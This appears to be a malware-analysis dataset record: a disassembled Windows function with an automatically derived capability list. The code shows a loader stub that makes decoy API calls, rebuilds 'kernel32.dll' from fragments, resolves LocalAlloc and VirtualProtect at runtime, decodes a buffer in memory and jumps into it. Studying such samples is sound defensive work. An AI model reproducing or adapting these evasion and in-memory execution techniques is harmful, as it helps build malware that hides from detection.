Function at 0x401360
Capabilities:
Create process on windows
Get session user name
Get system information on windows
Read file on windows
Shutdown system
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x41b008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
cmp dword [ebp - 0x4c], 0x159
jne 0x401563
mov ecx, 0x41d260
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013a0
sub ecx, edx
cmp ecx, 0x216
jbe 0x401563
mov esi, dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
push 0
push 0
push 0
call edi
push 0
push 0
call esi
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeNameA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorControl]
mov esi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
call esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ShowScrollBar]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push str.haxokudibayaxaziteso.jpg
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
push dword [ebp - 0x34]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push 0x4195ac
push str.sidujipizonejesupelajopoci.txt
call fcn.00402b14
mov esi, eax
push esi
push 0x64
push 1
push 0x41d260
call fcn.00402cee
push esi
push 0
push 0
push 0x41d260
call fcn.00402f1a
push str.nufuyadefodakute
push str.jovesawujatuzulowehecexu
call fcn.00402f9c
push 0
push 0
call fcn.0040280c
push 0
call fcn.004027d4
add esp, 0x3c
mov dword [ebp - 8], 7
xor eax, eax
mov dword [ebp - 0xc], 0
mov word [ebp - 0x1c], ax
push 0x3a
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00401960
movsd xmm0, qword [0x419748]
sub esp, 8
movsd qword [esp], xmm0
push 0x73
push str.holi_wonukimobinedefovu_yazoyedetafafirevupu
push str._s__c__f
call fcn.004029a1
add esp, 0x14
push str.golehuxuruxijofuyowayi
push str.hapihocobagiyebudatoxuvetovuna__f
push 0x41d260
call fcn.00402174
add esp, 0xc
push 0
call dword [sym.imp.USER32.dll_GetDC]
cmp dword [ebp - 8], 8
jb 0x40154f
push dword [ebp - 0x1c]
call fcn.00402dbc
add esp, 4
xor eax, eax
mov dword [ebp - 8], 7
mov dword [ebp - 0xc], 0
mov word [ebp - 0x1c], ax
mov edi, dword [sym.imp.KERNEL32.dll_GetCPInfo]
xor esi, esi
jmp 0x401570
lea eax, [ebp - 0x30]
push eax
push 0
call edi
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp esi, 0x53febb
jle 0x40159c
cmp dword [ebp - 0x30], 0x23b74f
je 0x40159c
cmp dword [ebp - 0x64], 0x20f4df5b
jne 0x4015a9
add esi, 2
cmp esi, 0x1653e7d
jl 0x401570
jmp 0x4015fa
mov eax, dword [str.kernel]
mov dword [0x41d260], eax
mov ax, word [0x4196f4]
mov word [0x41d264], ax
mov al, byte [0x4196f6]
push str.32.dll
push 0x41d260
mov byte [0x41d266], al
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x41d260
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.LocalAlloc
push eax
mov dword [0x519a68], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41fa64], eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x38], 0x49a0
mov dword [ebp - 0x3c], 0x10
add dword [ebp - 0x3c], 0x10
mov eax, dword [ebp - 0x38]
xor esi, esi
mov edi, dword [ebp - 0x34]
test eax, eax
je 0x40166e
nop
test esi, esi
jne 0x40162e
push eax
push esi
call dword [0x41fa64]
mov edi, eax
mov edx, esi
call fcn.00401350
mov byte [edi + esi], al
cmp esi, 0xa
jne 0x401663
push str.VirtualProtect
push dword [0x519a68]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x34]
mov dword [0x41fa60], eax
push ecx
mov ecx, dword [ebp - 0x3c]
add ecx, ecx
push ecx
push dword [ebp - 0x38]
push edi
call eax
mov eax, dword [ebp - 0x38]
inc esi
cmp esi, eax
jb 0x401620
mov dword [ebp - 0x34], edi
push ecx
lea edx, [ebp - 0x38]
mov ecx, edi
call fcn.00401280
add esp, 4
call dword [ebp - 0x34]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]